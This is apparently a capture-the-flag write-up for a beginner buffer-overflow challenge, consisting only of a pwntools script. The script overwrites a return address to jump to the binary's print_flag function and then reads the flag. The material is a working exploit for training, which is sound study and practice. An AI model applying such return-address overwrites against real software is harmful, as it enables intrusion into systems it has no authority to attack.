Beginner Pwn 2

#buffer-overflow#solution-only

Contents

Solution

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./hello_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()
    print_flag = elf.sym["print_flag"]
    offset = b'i' * 0x28
    payload = offset + p64(print_flag)
    r.sendline(payload)
    r.recvuntil(b'Here is your flag!\n')
    flag = r.recvuntil(b'\n', drop=True).decode("ascii")
    print()
    print(flag)
    print()




if __name__ == "__main__":
    main()